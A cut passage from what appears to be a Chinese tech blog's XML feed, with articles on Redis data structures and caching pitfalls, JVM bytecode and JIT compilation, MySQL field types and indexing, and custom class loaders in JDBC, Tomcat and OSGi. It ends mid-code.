        <content type="html"><![CDATA[<h1 id="Redis-常见数据结构和使用场景"><a href="#Redis-常见数据结构和使用场景" class="headerlink" title="Redis 常见数据结构和使用场景"></a>Redis 常见数据结构和使用场景</h1><p>Redis 的五种数据结构各有特色，用对了才能发挥它的优势。很多人只用到了 String 和 Hash，却不知道 List、Set、ZSet 在特定场景下更合适。本文从应用场景出发，讲什么时候用什么类型。</p><h2 id="先明确-Redis-在系统里的角色"><a href="#先明确-Redis-在系统里的角色" class="headerlink" title="先明确 Redis 在系统里的角色"></a>先明确 Redis 在系统里的角色</h2><p>Redis 常见用途不是“替代数据库”，而是缓存热点数据、保存会话、做简单计数、排行榜、分布式锁等。设计时要先问：这份数据丢了能不能恢复？是否允许短暂不一致？</p><h2 id="一个缓存查询的基本写法"><a href="#一个缓存查询的基本写法" class="headerlink" title="一个缓存查询的基本写法"></a>一个缓存查询的基本写法</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">String</span> <span class="variable">key</span> <span class="operator">=</span> <span class="string">&quot;user:&quot;</span> + userId;</span><br><span class="line"><span class="type">User</span> <span class="variable">user</span> <span class="operator">=</span> redisTemplate.opsForValue().get(key);</span><br><span class="line"><span class="keyword">if</span> (user != <span class="literal">null</span>) &#123;</span><br><span class="line">    <span class="keyword">return</span> user;</span><br><span class="line">&#125;</span><br><span class="line">user = userMapper.selectById(userId);</span><br><span class="line"><span class="keyword">if</span> (user != <span class="literal">null</span>) &#123;</span><br><span class="line">    redisTemplate.opsForValue().set(key, user, Duration.ofMinutes(<span class="number">30</span>));</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">return</span> user;</span><br></pre></td></tr></table></figure><p>这个流程看起来简单，但要注意缓存穿透、缓存击穿和缓存雪崩。</p><h2 id="三个常见问题"><a href="#三个常见问题" class="headerlink" title="三个常见问题"></a>三个常见问题</h2><ul><li>穿透：查询不存在的数据，可以缓存空值或用布隆过滤器。</li><li>击穿：热点 key 过期瞬间大量请求打到数据库，可以用互斥锁或逻辑过期。</li><li>雪崩：大量 key 同时过期，可以给过期时间增加随机值。</li></ul><h2 id="验证方式"><a href="#验证方式" class="headerlink" title="验证方式"></a>验证方式</h2><p>本地可以先用 <code>redis-cli</code> 查看 key：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">redis-cli</span><br><span class="line">GET user:1001</span><br><span class="line">TTL user:1001</span><br></pre></td></tr></table></figure><p>确认缓存写入、过期时间和删除策略都符合预期。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>String：简单的键值对，适合缓存、计数器</p></li><li><p>Hash：存储对象属性，适合用户信息、配置</p></li><li><p>List：有序列表，适合消息队列、最新列表</p></li><li><p>Set：无序去重，适合共同好友、抽奖</p></li><li><p>ZSet：有序集合，适合排行榜、积分系统</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>选择合适的数据结构是使用 Redis 的关键。在实际项目中，根据业务需求选择合适的类型，可以提升性能和开发效率。</p>]]></content>
      
      
      <categories>
          
          <category> Redis </category>
          
      </categories>
      
      
        <tags>
            
            <tag> Redis </tag>
            
            <tag> 缓存 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>JVM字节码与执行引擎</title>
      <link href="//jvm-zi-jie-ma-yu-zhi-xing-yin-qing/"/>
      <url>//jvm-zi-jie-ma-yu-zhi-xing-yin-qing/</url>
      
        <content type="html"><![CDATA[<h1 id="JVM字节码与执行引擎"><a href="#JVM字节码与执行引擎" class="headerlink" title="JVM字节码与执行引擎"></a>JVM字节码与执行引擎</h1><p>JVM 内存布局是排查线上问题的基础。很多开发者遇到 OutOfMemoryError 时不知道从哪里入手。本文结合实际案例，讲清楚各区域的作用和常见异常，帮你建立排查思路。</p><h2 id="字节码概览"><a href="#字节码概览" class="headerlink" title="字节码概览"></a>字节码概览</h2><p>Java 字节码是 JVM 的指令集，每条指令由一个字节的操作码（Opcode）和零到多个操作数组成。</p><p>#</p><h2 id="查看字节码"><a href="#查看字节码" class="headerlink" title="查看字节码"></a>查看字节码</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># javap 反编译</span></span><br><span class="line">javap -c -p HelloWorld.class</span><br><span class="line"></span><br><span class="line"><span class="comment"># 更详细的输出</span></span><br><span class="line">javap -v HelloWorld.class</span><br></pre></td></tr></table></figure><p>#</p><h2 id="HelloWorld-字节码示例"><a href="#HelloWorld-字节码示例" class="headerlink" title="HelloWorld 字节码示例"></a>HelloWorld 字节码示例</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">HelloWorld</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> &#123;</span><br><span class="line">        System.out.println(<span class="string">&quot;Hello, World!&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">public static void main(java.lang.String[]);</span><br><span class="line">    Code:</span><br><span class="line">       0: getstatic     #2   // Field java/lang/System.out:Ljava/io/PrintStream;</span><br><span class="line">       3: ldc           #3   // String Hello, World!</span><br><span class="line">       5: invokevirtual #4   // Method java/io/PrintStream.println:(Ljava/lang/String;)V</span><br><span class="line">       8: return</span><br></pre></td></tr></table></figure><h2 id="常见字节码指令"><a href="#常见字节码指令" class="headerlink" title="常见字节码指令"></a>常见字节码指令</h2><p>#</p><h2 id="加载和存储"><a href="#加载和存储" class="headerlink" title="加载和存储"></a>加载和存储</h2><table><thead><tr><th>指令</th><th>说明</th></tr></thead><tbody><tr><td>iload</td><td>将 int 局部变量压入操作数栈</td></tr><tr><td>istore</td><td>将栈顶 int 存入局部变量</td></tr><tr><td>ldc</td><td>将常量压入操作数栈</td></tr><tr><td>getstatic</td><td>获取静态字段</td></tr><tr><td>putfield</td><td>设置对象字段</td></tr></tbody></table><p>#</p><h2 id="算术运算"><a href="#算术运算" class="headerlink" title="算术运算"></a>算术运算</h2><table><thead><tr><th>指令</th><th>说明</th></tr></thead><tbody><tr><td>iadd</td><td>int 加法</td></tr><tr><td>isub</td><td>int 减法</td></tr><tr><td>imul</td><td>int 乘法</td></tr><tr><td>idiv</td><td>int 除法</td></tr><tr><td>iinc</td><td>局部变量自增</td></tr></tbody></table><p>#</p><h2 id="类型转换"><a href="#类型转换" class="headerlink" title="类型转换"></a>类型转换</h2><table><thead><tr><th>指令</th><th>说明</th></tr></thead><tbody><tr><td>i2l</td><td>int 转 long</td></tr><tr><td>i2f</td><td>int 转 float</td></tr><tr><td>l2i</td><td>long 转 int</td></tr><tr><td>checkcast</td><td>类型检查转换</td></tr></tbody></table><p>#</p><h2 id="对象操作"><a href="#对象操作" class="headerlink" title="对象操作"></a>对象操作</h2><table><thead><tr><th>指令</th><th>说明</th></tr></thead><tbody><tr><td>new</td><td>创建对象</td></tr><tr><td>invokespecial</td><td>调用构造方法/私有方法/父类方法</td></tr><tr><td>invokevirtual</td><td>调用虚方法</td></tr><tr><td>invokestatic</td><td>调用静态方法</td></tr><tr><td>invokeinterface</td><td>调用接口方法</td></tr><tr><td>invokedynamic</td><td>动态调用（Java 7+ Lambda）</td></tr></tbody></table><p>#</p><h2 id="控制转移"><a href="#控制转移" class="headerlink" title="控制转移"></a>控制转移</h2><table><thead><tr><th>指令</th><th>说明</th></tr></thead><tbody><tr><td>ifeq/ifne</td><td>等于/不等于0跳转</td></tr><tr><td>if_icmplt</td><td>int 比较小于跳转</td></tr><tr><td>goto</td><td>无条件跳转</td></tr><tr><td>tableswitch</td><td>表格开关</td></tr><tr><td>lookupswitch</td><td>查找开关</td></tr></tbody></table><h2 id="执行引擎"><a href="#执行引擎" class="headerlink" title="执行引擎"></a>执行引擎</h2><p>#</p><h2 id="1-解释执行（Interpreter）"><a href="#1-解释执行（Interpreter）" class="headerlink" title="1. 解释执行（Interpreter）"></a>1. 解释执行（Interpreter）</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">字节码</span><br><span class="line">  |</span><br><span class="line">  v</span><br><span class="line">解释器逐条读取指令</span><br><span class="line">  |</span><br><span class="line">  v</span><br><span class="line">调用对应的C++函数执行</span><br><span class="line">  |</span><br><span class="line">  v</span><br><span class="line">结果</span><br></pre></td></tr></table></figure><p><strong>特点</strong>：启动快，执行慢。</p><p>#</p><h2 id="2-JIT-编译（Just-In-Time）"><a href="#2-JIT-编译（Just-In-Time）" class="headerlink" title="2. JIT 编译（Just-In-Time）"></a>2. JIT 编译（Just-In-Time）</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">字节码</span><br><span class="line">  |</span><br><span class="line">  v</span><br><span class="line">热点代码检测（方法调用次数 &gt; 阈值）</span><br><span class="line">  |</span><br><span class="line">  v</span><br><span class="line">编译为本地机器码</span><br><span class="line">  |</span><br><span class="line">  v</span><br><span class="line">直接执行机器码</span><br></pre></td></tr></table></figure><p><strong>热点检测</strong>：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">-XX:CompileThreshold=10000  <span class="comment"># 方法调用次数阈值（Client: 1500, Server: 10000）</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="3-分层编译（Tiered-Compilation）"><a href="#3-分层编译（Tiered-Compilation）" class="headerlink" title="3. 分层编译（Tiered Compilation）"></a>3. 分层编译（Tiered Compilation）</h2><p>JDK 7+ 默认开启：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">Level 0: 解释执行</span><br><span class="line">    ↓ 方法调用次数 &gt; 阈值</span><br><span class="line">Level 1: C1 简单编译（带性能监控）</span><br><span class="line">    ↓ 代码成为热点</span><br><span class="line">Level 2: C1 复杂编译</span><br><span class="line">    ↓ 更热点</span><br><span class="line">Level 3: C1 完全编译（带所有性能监控）</span><br><span class="line">    ↓ 最热点</span><br><span class="line">Level 4: C2 激进优化编译</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">-XX:+TieredCompilation  <span class="comment"># 开启分层编译（默认开启）</span></span><br></pre></td></tr></table></figure><h2 id="C1-vs-C2-编译器"><a href="#C1-vs-C2-编译器" class="headerlink" title="C1 vs C2 编译器"></a>C1 vs C2 编译器</h2><table><thead><tr><th>特性</th><th>C1（Client Compiler）</th><th>C2（Server Compiler）</th></tr></thead><tbody><tr><td>优化程度</td><td>简单</td><td>激进</td></tr><tr><td>编译速度</td><td>快</td><td>慢</td></tr><tr><td>生成代码质量</td><td>一般</td><td>高</td></tr><tr><td>启动速度</td><td>快</td><td>慢</td></tr><tr><td>适用场景</td><td>客户端/短运行</td><td>服务端/长运行</td></tr></tbody></table><h2 id="JIT-优化技术"><a href="#JIT-优化技术" class="headerlink" title="JIT 优化技术"></a>JIT 优化技术</h2><p>#</p><h2 id="1-方法内联"><a href="#1-方法内联" class="headerlink" title="1. 方法内联"></a>1. 方法内联</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="type">int</span> <span class="title function_">add</span><span class="params">(<span class="type">int</span> a, <span class="type">int</span> b)</span> &#123;</span><br><span class="line">    <span class="keyword">return</span> a + b;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="type">int</span> <span class="title function_">calculate</span><span class="params">()</span> &#123;</span><br><span class="line">    <span class="type">int</span> <span class="variable">x</span> <span class="operator">=</span> add(<span class="number">1</span>, <span class="number">2</span>);  <span class="comment">// 内联后：直接变成 int x = 1 + 2;</span></span><br><span class="line">    <span class="keyword">return</span> x * <span class="number">3</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">-XX:MaxInlineSize=35       <span class="comment"># 方法体小于35字节内联</span></span><br><span class="line">-XX:FreqInlineSize=325     <span class="comment"># 热点方法小于325字节内联</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="2-逃逸分析"><a href="#2-逃逸分析" class="headerlink" title="2. 逃逸分析"></a>2. 逃逸分析</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">method</span><span class="params">()</span> &#123;</span><br><span class="line">    <span class="type">User</span> <span class="variable">user</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">User</span>();  <span class="comment">// 未逃逸出方法</span></span><br><span class="line">    user.setName(<span class="string">&quot;test&quot;</span>);</span><br><span class="line">    <span class="comment">// JIT优化：栈上分配或标量替换</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">-XX:+DoEscapeAnalysis       <span class="comment"># 开启逃逸分析</span></span><br><span class="line">-XX:+EliminateAllocations   <span class="comment"># 标量替换</span></span><br><span class="line">-XX:+EliminateLocks         <span class="comment"># 同步消除</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="3-锁消除"><a href="#3-锁消除" class="headerlink" title="3. 锁消除"></a>3. 锁消除</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">method</span><span class="params">()</span> &#123;</span><br><span class="line">    <span class="type">Object</span> <span class="variable">lock</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Object</span>();</span><br><span class="line">    <span class="keyword">synchronized</span> (lock) &#123;    <span class="comment">// 锁对象未逃逸，消除锁</span></span><br><span class="line">        <span class="comment">// ...</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="4-循环展开"><a href="#4-循环展开" class="headerlink" title="4. 循环展开"></a>4. 循环展开</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 原始代码</span></span><br><span class="line"><span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>; i &lt; <span class="number">100</span>; i++) &#123;</span><br><span class="line">    sum += array[i];</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 优化后</span></span><br><span class="line"><span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>; i &lt; <span class="number">100</span>; i += <span class="number">4</span>) &#123;</span><br><span class="line">    sum += array[i];</span><br><span class="line">    sum += array[i + <span class="number">1</span>];</span><br><span class="line">    sum += array[i + <span class="number">2</span>];</span><br><span class="line">    sum += array[i + <span class="number">3</span>];</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="查看-JIT-编译"><a href="#查看-JIT-编译" class="headerlink" title="查看 JIT 编译"></a>查看 JIT 编译</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 打印 JIT 编译日志</span></span><br><span class="line">-XX:+PrintCompilation</span><br><span class="line"></span><br><span class="line"><span class="comment"># 输出示例</span></span><br><span class="line">    123   45       4       java.lang.String::charAt (29 bytes)</span><br><span class="line">    │     │        │       └── 编译级别4（C2）</span><br><span class="line">    │     │       └── 方法编号</span><br><span class="line">    │     └── 编译ID</span><br><span class="line">    └── JVM启动后的毫秒数</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 打印更详细的信息</span></span><br><span class="line">-XX:+UnlockDiagnosticVMOptions</span><br><span class="line">-XX:+PrintInlining           <span class="comment"># 打印内联决策</span></span><br><span class="line">-XX:+PrintAssembly           <span class="comment"># 打印汇编代码（需要hsdis）</span></span><br></pre></td></tr></table></figure><h2 id="AOT-编译（Ahead-Of-Time）"><a href="#AOT-编译（Ahead-Of-Time）" class="headerlink" title="AOT 编译（Ahead-Of-Time）"></a>AOT 编译（Ahead-Of-Time）</h2><p>JDK 9+ 引入 jaotc：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 编译为本地代码</span></span><br><span class="line">jaotc --output libHello.so Hello.class</span><br><span class="line"></span><br><span class="line"><span class="comment"># JVM 加载</span></span><br><span class="line">java -XX:AOTLibrary=./libHello.so Hello</span><br></pre></td></tr></table></figure><p><strong>特点</strong>：</p><ul><li>启动即 peak performance</li><li>减少 JIT 编译开销</li><li>但失去跨平台性</li></ul><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><table><thead><tr><th>执行方式</th><th>启动速度</th><th>峰值性能</th><th>适用场景</th></tr></thead><tbody><tr><td>解释执行</td><td>最快</td><td>最慢</td><td>极少</td></tr><tr><td>C1 编译</td><td>快</td><td>中</td><td>客户端</td></tr><tr><td>C2 编译</td><td>慢</td><td>最高</td><td>服务端</td></tr><tr><td>分层编译</td><td>较快</td><td>最高</td><td>现代 JVM 默认</td></tr><tr><td>AOT</td><td>最快</td><td>高</td><td>容器/Serverless</td></tr></tbody></table><p>JVM 的执行引擎设计精妙：解释执行快速启动，JIT 编译提升峰值性能，分层编译兼顾两者，AOT 为云原生场景提供新选择。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>堆内存分为年轻代和老年代，年轻代又分为 Eden、Survivor 等区域</p></li><li><p>栈内存是线程私有的，每个线程都有自己的栈空间</p></li><li><p>方法区（元空间）存储类信息、常量池等</p></li><li><p>常见的 OOM 类型：HeapSpace、OutOfMemoryError、StackOverflowError</p></li></ol><h2 id="总结-1"><a href="#总结-1" class="headerlink" title="总结"></a>总结</h2><p>理解 JVM 内存模型是成为高级 Java 工程师的必备技能。在实际项目中，配置合适的堆内存大小、选择合适的垃圾收集器，都需要对内存布局有清晰的认识。</p>]]></content>
      
      
      <categories>
          
          <category> JVM </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> JVM </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>数据库字段类型如何贴近业务</title>
      <link href="//shu-ju-ku-zi-duan-lei-xing-ru-he-tie-jin-ye-wu/"/>
      <url>//shu-ju-ku-zi-duan-lei-xing-ru-he-tie-jin-ye-wu/</url>
      
        <content type="html"><![CDATA[<h1 id="数据库字段类型如何贴近业务"><a href="#数据库字段类型如何贴近业务" class="headerlink" title="数据库字段类型如何贴近业务"></a>数据库字段类型如何贴近业务</h1><p>字段类型的选择直接影响性能和数据完整性。本文从实际项目经验出发讲如何选。</p><h2 id="准备一张示例表"><a href="#准备一张示例表" class="headerlink" title="准备一张示例表"></a>准备一张示例表</h2><p>以订单表为例：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">CREATE TABLE</span> orders (</span><br><span class="line">  id <span class="type">BIGINT</span> <span class="keyword">PRIMARY KEY</span> AUTO_INCREMENT,</span><br><span class="line">  user_id <span class="type">BIGINT</span> <span class="keyword">NOT NULL</span>,</span><br><span class="line">  status <span class="type">VARCHAR</span>(<span class="number">20</span>) <span class="keyword">NOT NULL</span>,</span><br><span class="line">  amount <span class="type">DECIMAL</span>(<span class="number">10</span>,<span class="number">2</span>) <span class="keyword">NOT NULL</span>,</span><br><span class="line">  created_at DATETIME <span class="keyword">NOT NULL</span></span><br><span class="line">);</span><br></pre></td></tr></table></figure><p>查询订单列表时，很多人会直接写：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders</span><br><span class="line"><span class="keyword">WHERE</span> user_id <span class="operator">=</span> <span class="number">1001</span> <span class="keyword">AND</span> status <span class="operator">=</span> <span class="string">&#x27;PAID&#x27;</span></span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> created_at <span class="keyword">DESC</span></span><br><span class="line">LIMIT <span class="number">20</span>;</span><br></pre></td></tr></table></figure><p>这时可以考虑组合索引：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">CREATE</span> INDEX idx_user_status_time</span><br><span class="line"><span class="keyword">ON</span> orders(user_id, status, created_at);</span><br></pre></td></tr></table></figure><h2 id="必须用-EXPLAIN-验证"><a href="#必须用-EXPLAIN-验证" class="headerlink" title="必须用 EXPLAIN 验证"></a>必须用 EXPLAIN 验证</h2><p>优化 SQL 不要凭感觉，先看执行计划：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line">EXPLAIN <span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders</span><br><span class="line"><span class="keyword">WHERE</span> user_id <span class="operator">=</span> <span class="number">1001</span> <span class="keyword">AND</span> status <span class="operator">=</span> <span class="string">&#x27;PAID&#x27;</span></span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> created_at <span class="keyword">DESC</span></span><br><span class="line">LIMIT <span class="number">20</span>;</span><br></pre></td></tr></table></figure><p>重点看 <code>key</code> 是否命中索引，<code>rows</code> 是否明显下降。如果只是建了索引但执行计划没变化，那说明索引设计可能不贴合查询条件。</p><h2 id="常见坑"><a href="#常见坑" class="headerlink" title="常见坑"></a>常见坑</h2><ul><li>在索引列上使用函数，可能导致索引失效。</li><li>字段类型不一致，例如字符串和数字混用，会影响优化器选择。</li><li>大 offset 分页会越来越慢，可以改成基于 id 的游标分页。</li></ul>]]></content>
      
      
      <categories>
          
          <category> MySQL </category>
          
      </categories>
      
      
        <tags>
            
            <tag> SQL </tag>
            
            <tag> MySQL优化 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>打破双亲委派的实际案例</title>
      <link href="//da-po-shuang-qin-wei-pai-de-shi-ji-an-li/"/>
      <url>//da-po-shuang-qin-wei-pai-de-shi-ji-an-li/</url>
      
        <content type="html"><![CDATA[<h1 id="打破双亲委派的实际案例"><a href="#打破双亲委派的实际案例" class="headerlink" title="打破双亲委派的实际案例"></a>打破双亲委派的实际案例</h1><p>双亲委派模型保证了 Java 核心类的安全性，但在实际应用中，很多框架都需要打破这一模型来实现特定功能。本文通过真实案例分析打破双亲委派的原因和方式。</p><h2 id="案例1：JDBC-的-SPI-机制"><a href="#案例1：JDBC-的-SPI-机制" class="headerlink" title="案例1：JDBC 的 SPI 机制"></a>案例1：JDBC 的 SPI 机制</h2><h3 id="问题背景"><a href="#问题背景" class="headerlink" title="问题背景"></a>问题背景</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// DriverManager 在 rt.jar 中，由 Bootstrap ClassLoader 加载</span></span><br><span class="line"><span class="type">Connection</span> <span class="variable">conn</span> <span class="operator">=</span> DriverManager.getConnection(url, user, password);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 但 MySQL 驱动在 classpath 中，由 App ClassLoader 加载</span></span><br><span class="line"><span class="comment">// Bootstrap ClassLoader 无法加载 App ClassLoader 的类！</span></span><br></pre></td></tr></table></figure><h3 id="解决方案：线程上下文类加载器"><a href="#解决方案：线程上下文类加载器" class="headerlink" title="解决方案：线程上下文类加载器"></a>解决方案：线程上下文类加载器</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// DriverManager.getConnection() 内部</span></span><br><span class="line"><span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">loadInitialDrivers</span><span class="params">()</span> &#123;</span><br><span class="line">    <span class="comment">// 获取线程上下文类加载器（默认是 App ClassLoader）</span></span><br><span class="line">    <span class="type">ClassLoader</span> <span class="variable">cl</span> <span class="operator">=</span> Thread.currentThread().getContextClassLoader();</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 使用上下文类加载器加载驱动</span></span><br><span class="line">    ServiceLoader&lt;Driver&gt; loadedDrivers = ServiceLoader.load(Driver.class, cl);</span><br><span class="line">    <span class="keyword">for</span> (Driver driver : loadedDrivers) &#123;</span><br><span class="line">        drivers.add(driver);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="打破方式"><a href="#打破方式" class="headerlink" title="打破方式"></a>打破方式</h3><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">Bootstrap ClassLoader 加载 DriverManager</span><br><span class="line">    |</span><br><span class="line">    v</span><br><span class="line">DriverManager 调用 Thread.currentThread().getContextClassLoader()</span><br><span class="line">    |</span><br><span class="line">    v</span><br><span class="line">App ClassLoader 加载 mysql-connector-java.jar 中的 Driver</span><br></pre></td></tr></table></figure><p><strong>本质</strong>：父加载器请求子加载器完成类加载，逆向委派。</p><h2 id="案例2：Tomcat-的-Web-应用隔离"><a href="#案例2：Tomcat-的-Web-应用隔离" class="headerlink" title="案例2：Tomcat 的 Web 应用隔离"></a>案例2：Tomcat 的 Web 应用隔离</h2><h3 id="需求"><a href="#需求" class="headerlink" title="需求"></a>需求</h3><ol><li>不同 Web 应用使用不同版本的同一库（如 Spring 3 vs Spring 4）</li><li>应用热部署，不重启 Tomcat</li><li>JSP 修改后立即生效</li></ol><h3 id="Tomcat-类加载器结构"><a href="#Tomcat-类加载器结构" class="headerlink" title="Tomcat 类加载器结构"></a>Tomcat 类加载器结构</h3><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">Bootstrap ClassLoader</span><br><span class="line">    ↑</span><br><span class="line">Extension ClassLoader</span><br><span class="line">    ↑</span><br><span class="line">System ClassLoader</span><br><span class="line">    ↑</span><br><span class="line">Common ClassLoader  (CATALINA_BASE/lib)</span><br><span class="line">    ├── Catalina ClassLoader  (CATALINA_HOME/lib)</span><br><span class="line">    └── Shared ClassLoader</span><br><span class="line">            ├── WebApp ClassLoader 1  (webapps/app1/WEB-INF/lib)</span><br><span class="line">            │       └── 先自己加载，找不到再委派</span><br><span class="line">            ├── WebApp ClassLoader 2  (webapps/app2/WEB-INF/lib)</span><br><span class="line">            └── ...</span><br></pre></td></tr></table></figure><h3 id="WebAppClassLoader-的实现"><a href="#WebAppClassLoader-的实现" class="headerlink" title="WebAppClassLoader 的实现"></a>WebAppClassLoader 的实现</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">WebAppClassLoader</span> <span class="keyword">extends</span> <span class="title class_">URLClassLoader</span> &#123;</span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> Class&lt;?&gt; loadClass(String name) <span class="keyword">throws</span> ClassNotFoundException &#123;</span><br><span class="line">        <span class="comment">// 1. 先自己加载（破坏双亲委派）</span></span><br><span class="line">        Class&lt;?&gt; clazz = findLoadedClass(name);</span><br><span class="line">        <span class="keyword">if</span> (clazz == <span class="literal">null</span>) &#123;</span><br><span class="line">            clazz = findClass(name);  <span class="comment">// 先在WEB-INF/lib和classes中找</span></span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 2. 找不到再系统加载（委托给父加载器）</span></span><br><span class="line">        <span class="keyword">if</span> (clazz == <span class="literal">null</span>) &#123;</span><br><span class="line">            clazz = <span class="built_in">super</span>.loadClass(name);</span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">return</span> clazz;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="加载顺序"><a href="#加载顺序" class="headerlink" title="加载顺序"></a>加载顺序</h3><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">1. JVM Bootstrap 类（java.lang.*）</span><br><span class="line">2. Web 应用 /WEB-INF/classes</span><br><span class="line">3. Web 应用 /WEB-INF/lib/*.jar</span><br><span class="line">4. System ClassLoader</span><br><span class="line">5. Common ClassLoader</span><br></pre></td></tr></table></figure><h2 id="案例3：OSGi-模块化"><a href="#案例3：OSGi-模块化" class="headerlink" title="案例3：OSGi 模块化"></a>案例3：OSGi 模块化</h2><h3 id="需求-1"><a href="#需求-1" class="headerlink" title="需求"></a>需求</h3><p>每个 Bundle（模块）有自己的类加载器，实现：</p><ul><li>版本隔离：不同 Bundle 使用不同版本的库</li><li>动态加载/卸载 Bundle</li></ul><h3 id="OSGi-类加载器"><a href="#OSGi-类加载器" class="headerlink" title="OSGi 类加载器"></a>OSGi 类加载器</h3><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">Bundle A (ClassLoader A)</span><br><span class="line">├── 导入: org.slf4j (版本1.7)</span><br><span class="line">└── 导出: com.example.service</span><br><span class="line"></span><br><span class="line">Bundle B (ClassLoader B)</span><br><span class="line">├── 导入: org.slf4j (版本1.7) -&gt; 共享</span><br><span class="line">├── 导入: com.example.service -&gt; 从A加载</span><br><span class="line">└── 导入: org.apache.commons -&gt; 从C加载</span><br><span class="line"></span><br><span class="line">Bundle C (ClassLoader C)</span><br><span class="line">└── 导出: org.apache.commons</span><br></pre></td></tr></table></figure><h3 id="实现方式"><a href="#实现方式" class="headerlink" title="实现方式"></a>实现方式</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">BundleClassLoader</span> <span class="keyword">extends</span> <span class="title class_">ClassLoader</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> Bundle bundle;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">protected</span> Class&lt;?&gt; loadClass(String name, <span class="type">boolean</span> resolve) </span><br><span class="line">        <span class="keyword">throws</span> ClassNotFoundException &#123;</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 1. 检查是否在当前 Bundle 中</span></span><br><span class="line">        Class&lt;?&gt; clazz = findLocalClass(name);</span><br><span class="line">        <span class="keyword">if</span> (clazz != <span class="literal">null</span>) <span class="keyword">return</span> clazz;</span><br><span class="line">        </span><br><span class="line">        <span 